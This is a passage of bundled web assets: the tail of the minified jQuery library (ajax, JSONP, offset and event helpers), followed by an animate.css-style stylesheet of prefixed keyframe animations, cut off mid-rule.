h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
@import "https://fonts.googleapis.com/css?family=Raleway:400,700|Roboto+Slab:300,400)";.animated{-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:1s;-moz-animation-duration:1s;-ms-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s}.animated.hinge{-webkit-animation-duration:1s;-moz-animation-duration:1s;-ms-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s}@-webkit-keyframes flash{0%, 50%, 100%{opacity:1}25%, 75%{opacity:0}}@-moz-keyframes flash{0%, 50%, 100%{opacity:1}25%, 75%{opacity:0}}@-o-keyframes flash{0%, 50%, 100%{opacity:1}25%, 75%{opacity:0}}@keyframes flash{0%, 50%, 100%{opacity:1}25%, 75%{opacity:0}}.flash{-webkit-animation-name:flash;-moz-animation-name:flash;-o-animation-name:flash;animation-name:flash}@-webkit-keyframes shake{0%, 100%{-webkit-transform:translateX(0)}10%, 30%, 50%, 70%, 90%{-webkit-transform:translateX(-10px)}20%, 40%, 60%, 80%{-webkit-transform:translateX(10px)}}@-moz-keyframes shake{0%, 100%{-moz-transform:translateX(0)}10%, 30%, 50%, 70%, 90%{-moz-transform:translateX(-10px)}20%, 40%, 60%, 80%{-moz-transform:translateX(10px)}}@-o-keyframes shake{0%, 100%{-o-transform:translateX(0)}10%, 30%, 50%, 70%, 90%{-o-transform:translateX(-10px)}20%, 40%, 60%, 80%{-o-transform:translateX(10px)}}@keyframes shake{0%, 100%{transform:translateX(0)}10%, 30%, 50%, 70%, 90%{transform:translateX(-10px)}20%, 40%, 60%, 80%{transform:translateX(10px)}}.shake{-webkit-animation-name:shake;-moz-animation-name:shake;-o-animation-name:shake;animation-name:shake}@-webkit-keyframes bounce{0%, 20%, 50%, 80%, 100%{-webkit-transform:translateY(0)}40%{-webkit-transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px)}}@-moz-keyframes bounce{0%, 20%, 50%, 80%, 100%{-moz-transform:translateY(0)}40%{-moz-transform:translateY(-30px)}60%{-moz-transform:translateY(-15px)}}@-o-keyframes bounce{0%, 20%, 50%, 80%, 100%{-o-transform:translateY(0)}40%{-o-transform:translateY(-30px)}60%{-o-transform:translateY(-15px)}}@keyframes bounce{0%, 20%, 50%, 80%, 100%{transform:translateY(0)}40%{transform:translateY(-30px)}60%{transform:translateY(-15px)}}.bounce{-webkit-animation-name:bounce;-moz-animation-name:bounce;-o-animation-name:bounce;animation-name:bounce}@-webkit-keyframes tada{0%{-webkit-transform:scale(1)}10%, 20%{-webkit-transform:scale(0.9) rotate(-3deg)}30%, 50%, 70%, 90%{-webkit-transform:scale(1.1) rotate(3deg)}40%, 60%, 80%{-webkit-transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0)}}@-moz-keyframes tada{0%{-moz-transform:scale(1)}10%, 20%{-moz-transform:scale(0.9) rotate(-3deg)}30%, 50%, 70%, 90%{-moz-transform:scale(1.1) rotate(3deg)}40%, 60%, 80%{-moz-transform:scale(1.1) rotate(-3deg)}100%{-moz-transform:scale(1) rotate(0)}}@-o-keyframes tada{0%{-o-transform:scale(1)}10%, 20%{-o-transform:scale(0.9) rotate(-3deg)}30%, 50%, 70%, 90%{-o-transform:scale(1.1) rotate(3deg)}40%, 60%, 80%{-o-transform:scale(1.1) rotate(-3deg)}100%{-o-transform:scale(1) rotate(0)}}@keyframes tada{0%{transform:scale(1)}10%, 20%{transform:scale(0.9) rotate(-3deg)}30%, 50%, 70%, 90%{transform:scale(1.1) rotate(3deg)}40%, 60%, 80%{transform:scale(1.1) rotate(-3deg)}100%{transform:scale(1) rotate(0)}}.tada{-webkit-animation-name:tada;-moz-animation-name:tada;-o-animation-name:tada;animation-name:tada}@-webkit-keyframes swing{20%, 40%, 60%, 80%, 100%{-webkit-transform-origin:top center}20%{-webkit-transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg)}100%{-webkit-transform:rotate(0deg)}}@-moz-keyframes swing{20%{-moz-transform:rotate(15deg)}40%{-moz-transform:rotate(-10deg)}60%{-moz-transform:rotate(5deg)}80%{-moz-transform:rotate(-5deg)}100%{-moz-transform:rotate(0deg)}}@-o-keyframes swing{20%{-o-transform:rotate(15deg)}40%{-o-transform:rotate(-10deg)}60%{-o-transform:rotate(5deg)}80%{-o-transform:rotate(-5deg)}100%{-o-transform:rotate(0deg)}}@keyframes swing{20%{transform:rotate(15deg)}40%{transform:rotate(-10deg)}60%{transform:rotate(5deg)}80%{transform:rotate(-5deg)}100%{transform:rotate(0deg)}}.swing{-webkit-transform-origin:top center;-moz-transform-origin:top center;-o-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;-moz-animation-name:swing;-o-animation-name:swing;animation-name:swing}@-webkit-keyframes wobble{0%{-webkit-transform:translateX(0%)}15%{-webkit-transform:translateX(-25%) rotate(-5deg)}30%{-webkit-transform:translateX(20%) rotate(3deg)}45%{-webkit-transform:translateX(-15%) rotate(-3deg)}60%{-webkit-transform:translateX(10%) rotate(2deg)}75%{-webkit-transform:translateX(-5%) rotate(-1deg)}100%{-webkit-transform:translateX(0%)}}@-moz-keyframes wobble{0%{-moz-transform:translateX(0%)}15%{-moz-transform:translateX(-25%) rotate(-5deg)}30%{-moz-transform:translateX(20%) rotate(3deg)}45%{-moz-transform:translateX(-15%) rotate(-3deg)}60%{-moz-transform:translateX(10%) rotate(2deg)}75%{-moz-transform:translateX(-5%) rotate(-1deg)}100%{-moz-transform:translateX(0%)}}@-o-keyframes wobble{0%{-o-transform:translateX(0%)}15%{-o-transform:translateX(-25%) rotate(-5deg)}30%{-o-transform:translateX(20%) rotate(3deg)}45%{-o-transform:translateX(-15%) rotate(-3deg)}60%{-o-transform:translateX(10%) rotate(2deg)}75%{-o-transform:translateX(-5%) rotate(-1deg)}100%{-o-transform:translateX(0%)}}@keyframes wobble{0%{transform:translateX(0%)}15%{transform:translateX(-25%) rotate(-5deg)}30%{transform:translateX(20%) rotate(3deg)}45%{transform:translateX(-15%) rotate(-3deg)}60%{transform:translateX(10%) rotate(2deg)}75%{transform:translateX(-5%) rotate(-1deg)}100%{transform:translateX(0%)}}.wobble{-webkit-animation-name:wobble;-moz-animation-name:wobble;-o-animation-name:wobble;animation-name:wobble}@-webkit-keyframes pulse{0%{-webkit-transform:scale(1)}50%{-webkit-transform:scale(1.1)}100%{-webkit-transform:scale(1)}}@-moz-keyframes pulse{0%{-moz-transform:scale(1)}50%{-moz-transform:scale(1.1)}100%{-moz-transform:scale(1)}}@-o-keyframes pulse{0%{-o-transform:scale(1)}50%{-o-transform:scale(1.1)}100%{-o-transform:scale(1)}}@keyframes pulse{0%{transform:scale(1)}50%{transform:scale(1.1)}100%{transform:scale(1)}}.pulse{-webkit-animation-name:pulse;-moz-animation-name:pulse;-o-animation-name:pulse;animation-name:pulse}@-webkit-keyframes flip{0%{-webkit-transform:perspective(400px) translateZ(0) rotateY(0) scale(1);-webkit-animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translateZ(150px) rotateY(170deg) scale(1);-webkit-animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translateZ(150px) rotateY(190deg) scale(1);-webkit-animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) translateZ(0) rotateY(360deg) scale(0.95);-webkit-animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px) translateZ(0) rotateY(360deg) scale(1);-webkit-animation-timing-function:ease-in}}@-moz-keyframes flip{0%{-moz-transform:perspective(400px) translateZ(0) rotateY(0) scale(1);-moz-animation-timing-function:ease-out}40%{-moz-transform:perspective(400px) translateZ(150px) rotateY(170deg) scale(1);-moz-animation-timing-function:ease-out}50%{-moz-transform:perspective(400px) translateZ(150px) rotateY(190deg) scale(1);-moz-animation-timing-function:ease-in}80%{-moz-transform:perspective(400px) translateZ(0) rotateY(360deg) scale(0.95);-moz-animation-timing-function:ease-in}100%{-moz-transform:perspective(400px) translateZ(0) rotateY(360deg) scale(1);-moz-animation-timing-function:ease-in}}@-o-keyframes flip{0%{-o-transform:perspective(400px) translateZ(0) rotateY(0) scale(1);-o-animation-timing-function:ease-out}40%{-o-transform:perspective(400px) translateZ(150px) rotateY(170deg) scale(1);-o-animation-timing-function:ease-out}50%{-o-transform:perspective(400px) translateZ(150px) rotateY(190deg) scale(1);-o-animation-timing-function:ease-in}80%{-o-transform:perspective(400px) translateZ(0) rotateY(360deg) scale(0.95);-o-animation-timing-function:ease-in}100%{-o-transform:perspective(400px) translateZ(0) rotateY(360deg) scale(1);-o-animation-timing-function:ease-in}}@keyframes flip{0%{transform:perspective(400px) translateZ(0) rotateY(0) scale(1);animation-timing-function:ease-out}40%{transform:perspective(400px) translateZ(150px) rotateY(170deg) scale(1);animation-timing-function:ease-out}50%{transform:perspective(400px) translateZ(150px) rotateY(190deg) scale(1);animation-timing-function:ease-in}80%{transform:perspective(400px) translateZ(0) rotateY(360deg) scale(0.95);animation-timing-function:ease-in}100%{transform:perspective(400px) translateZ(0) rotateY(360deg) scale(1);animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible !important;-webkit-animation-name:flip;-moz-backface-visibility:visible !important;-moz-animation-name:flip;-o-backface-visibility:visible !important;-o-animation-name:flip;backface-visibility:visible !important;animation-name:flip}@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-10deg)}70%{-webkit-transform:perspective(400px) rotateX(10deg)}100%{-webkit-transform:perspective(400px) rotateX(0deg);opacity:1}}@-moz-keyframes flipInX{0%{-moz-transform:perspective(400px) rotateX(90deg);opacity:0}40%{-moz-transform:perspective(400px) rotateX(-10deg)}70%{-moz-transform:perspective(400px) rotateX(10deg)}100%{-moz-transform:perspective(400px) rotateX(0deg);opacity:1}}@-o-keyframes flipInX{0%{-o-transform:perspective(400px) rotateX(90deg);opacity:0}40%{-o-transform:perspective(400px) rotateX(-10deg)}70%{-o-transform:perspective(400px) rotateX(10deg)}100%{-o-transform:perspective(400px) rotateX(0deg);opacity:1}}@keyframes flipInX{0%{transform:perspective(400px) rotateX(90deg);opacity:0}40%{transform:perspective(400px) rotateX(-10deg)}70%{transform:perspective(400px) rotateX(10deg)}100%{transform:perspective(400px) rotateX(0deg);opacity:1}}.flipInX{-webkit-backface-visibility:visible !important;-webkit-animation-name:flipInX;-moz-backface-visibility:visible !important;-moz-animation-name:flipInX;-o-backface-visibility:visible !important;-o-animation-name:flipInX;backface-visibility:visible !important;animation-name:flipInX}@-webkit-keyframes flipOutX{0%{-webkit-transform:perspective(400px) rotateX(0deg);opacity:1}100%{-webkit-transform:perspective(400px) rotateX(90deg);opacity:0}}@-moz-keyframes flipOutX{0%{-moz-transform:perspective(400px) rotateX(0deg);opacity:1}100%{-moz-transform:perspective(400px) rotateX(90deg);opacity:0}}@-o-keyframes flipOutX{0%{-o-transform:perspective(400px) rotateX(0deg);opacity:1}100%{-o-transform:perspective(400px) rotateX(90deg);opacity:0}}@keyframes flipOutX{0%{transform:perspective(400px) rotateX(0deg);opacity:1}100%{transform:perspective(400px) rotateX(90deg);opacity:0}}.flipOutX{-webkit-animation-name:flipOutX;-webkit-backface-visibility:visible !important;-moz-animation-name:flipOutX;-moz-backface-visibility:visible !important;-o-animation-name:flipOutX;-o-backface-visibility:visible !important;animation-name:flipOutX;backface-visibility:visible !important}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-10deg)}70%{-webkit-transform:perspective(400px) rotateY(10deg)}100%{-webkit-transform:perspective(400px) rotateY(0deg);opacity:1}}@-moz-keyframes flipInY{0%{-moz-transform:perspective(400px) rotateY(90deg);opacity:0}40%{-moz-transform:perspective(400px) rotateY(-10deg)}70%{-moz-transform:perspective(400px) rotateY(10deg)}100%{-moz-transform:perspective(400px) rotateY(0deg);opacity:1}}@-o-keyframes flipInY{0%{-o-transform:perspective(400px) rotateY(90deg);opacity:0}40%{-o-transform:perspective(400px) rotateY(-10deg)}70%{-o-transform:perspective(400px) rotateY(10deg)}100%{-o-transform:perspective(400px) rotateY(0deg);opacity:1}}@keyframes flipInY{0%{transform:perspective(400px) rotateY(90deg);opacity:0}40%{transform:perspective(400px) rotateY(-10deg)}70%{transform:perspective(400px) rotateY(10deg)}100%{transform:perspective(400px) rotateY(0deg);opacity:1}}.flipInY{-webkit-backface-visibility:visible !important;-webkit-animation-name:flipInY;-moz-backface-visibility:visible !important;-moz-animation-name:flipInY;-o-backface-visibility:visible !important;-o-animation-name:flipInY;backface-visibility:visible !important;animation-name:flipInY}@-webkit-keyframes flipOutY{0%{-webkit-transform:perspective(400px) rotateY(0deg);opacity:1}100%{-webkit-transform:perspective(400px) rotateY(90deg);opacity:0}}@-moz-keyframes flipOutY{0%{-moz-transform:perspective(400px) rotateY(0deg);opacity:1}100%{-moz-transform:perspective(400px) rotateY(90deg);opacity:0}}@-o-keyframes flipOutY{0%{-o-transform:perspective(400px) rotateY(0deg);opacity:1}100%{-o-transform:perspective(400px) rotateY(90deg);opacity:0}}@keyframes flipOutY{0%{transform:perspective(400px) rotateY(0deg);opacity:1}100%{transform:perspective(400px) rotateY(90deg);opacity:0}}.flipOutY{-webkit-backface-visibility:visible !important;-webkit-animation-name:flipOutY;-moz-backface-visibility:visible !important;-moz-animation-name:flipOutY;-o-backface-visibility:visible !important;-o-animation-name:flipOutY;backface-visibility:visible !important;animation-name:flipOutY}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-moz-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-o-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;-moz-animation-name:fadeIn;-o-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(20px)}100%{opacity:1;-webkit-transform:translateY(0)}}@-moz-keyframes fadeInUp{0%{opacity:0;-moz-transform:translateY(20px)}100%{opacity:1;-moz-transform:translateY(0)}}@-o-keyframes fadeInUp{0%{opacity:0;-o-transform:translateY(20px)}100%{opacity:1;-o-transform:translateY(0)}}@keyframes fadeInUp{0%{opacity:0;transform:translateY(20px)}100%{opacity:1;transform:translateY(0)}}.fadeInUp{-webkit-animation-name:fadeInUp;-moz-animation-name:fadeInUp;-o-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-20px)}100%{opacity:1;-webkit-transform:translateY(0)}}@-moz-keyframes fadeInDown{0%{opacity:0;-moz-transform:translateY(-20px)}100%{opacity:1;-moz-transform:translateY(0)}}@-o-keyframes fadeInDown{0%{opacity:0;-o-transform:translateY(-20px)}100%{opacity:1;-o-transform:translateY(0)}}@keyframes fadeInDown{0%{opacity:0;transform:translateY(-20px)}100%{opacity:1;transform:translateY(0)}}.fadeInDown{-webkit-animation-name:fadeInDown;-moz-animation-name:fadeInDown;-o-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(-20px)}100%{opacity:1;-webkit-transform:translateX(0)}}@-moz-keyframes fadeInLeft{0%{opacity:0;-moz-transform:translateX(-20px)}100%{opacity:1;-moz-transform:translateX(0)}}@-o-keyframes fadeInLeft{0%{opacity:0;-o-transform:translateX(-20px)}100%{opacity:1;-o-transform:translateX(0)}}@keyframes fadeInLeft{0%{opacity:0;transform:translateX(-20px)}100%{opacity:1;transform:translateX(0)}}.fadeInLeft{-webkit-animation-name:fadeInLeft;-moz-animation-name:fadeInLeft;-o-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(20px)}100%{opacity:1;-webkit-transform:translateX(0)}}@-moz-keyframes fadeInRight{0%{opacity:0;-moz-transform:translateX(20px)}100%{opacity:1;-moz-transform:translateX(0)}}@-o-keyframes fadeInRight{0%{opacity:0;-o-transform:translateX(20px)}100%{opacity:1;-o-transform:translateX(0)}}@keyframes fadeInRight{0%{opacity:0;transform:translateX(20px)}100%{opacity:1;transform:translateX(0)}}.fadeInRight{-webkit-animation-name:fadeInRight;-moz-animation-name:fadeInRight;-o-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0)}}@-moz-keyframes fadeInUpBig{0%{opacity:0;-moz-transform:translateY(2000px)}100%{opacity:1;-moz-transform:translateY(0)}}@-o-keyframes fadeInUpBig{0%{opacity:0;-o-transform:translateY(2000px)}100%{opacity:1;-o-transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;transform:translateY(2000px)}100%{opacity:1;transform:translateY(0)}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;-moz-animation-name:fadeInUpBig;-o-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translateY(-2000px)}100%{opacity:1;-webkit-transform:translateY(0)}}@-moz-keyframes fadeInDownBig{0%{opacity:0;-moz-transform:translateY(-2000px)}100%{opacity:1;-moz-transform:translateY(0)}}@-o-keyframes fadeInDownBig{0%{opacity:0;-o-transform:translateY(-2000px)}100%{opacity:1;-o-transform:translateY(0)}}@keyframes fadeInDownBig{0%{opacity:0;transform:translateY(-2000px)}100%{opacity:1;transform:translateY(0)}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;-moz-animation-name:fadeInDownBig;-o-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translateX(-2000px)}100%{opacity:1;-webkit-transform:translateX(0)}}@-moz-keyframes 